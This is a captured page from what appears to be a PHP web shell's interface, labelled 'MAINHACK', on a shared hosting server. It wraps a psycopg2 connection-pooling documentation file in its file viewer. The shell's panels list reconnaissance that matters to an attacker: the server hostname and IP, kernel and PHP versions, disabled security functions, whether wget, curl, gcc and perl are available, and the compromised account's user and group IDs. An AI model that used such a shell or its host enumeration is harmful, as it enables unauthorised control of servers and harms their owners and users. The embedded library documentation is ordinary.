[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: pool.rst
File is not writable. Editing disabled.
`psycopg2.pool` -- Connections pooling ====================================== .. sectionauthor:: Daniele Varrazzo <daniele.varrazzo@gmail.com> .. index:: pair: Connection; Pooling .. module:: psycopg2.pool Creating new PostgreSQL connections can be an expensive operation. This module offers a few pure Python classes implementing simple connection pooling directly in the client application. .. class:: AbstractConnectionPool(minconn, maxconn, \*args, \*\*kwargs) Base class implementing generic key-based pooling code. New *minconn* connections are created automatically. The pool will support a maximum of about *maxconn* connections. *\*args* and *\*\*kwargs* are passed to the `~psycopg2.connect()` function. The following methods are expected to be implemented by subclasses: .. method:: getconn(key=None) Get a free connection from the pool. The *key* parameter is optional: if used, the connection will be associated to the key and calling `!getconn()` with the same key again will return the same connection. .. method:: putconn(conn, key=None, close=False) Put away a connection. If *close* is `!True`, discard the connection from the pool. *key* should be used consistently with `getconn()`. .. method:: closeall Close all the connections handled by the pool. Note that all the connections are closed, including ones eventually in use by the application. The following classes are `AbstractConnectionPool` subclasses ready to be used. .. autoclass:: SimpleConnectionPool .. note:: This pool class is useful only for single-threaded applications. .. index:: Multithread; Connection pooling .. autoclass:: ThreadedConnectionPool .. note:: This pool class can be safely used in multi-threaded applications.
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A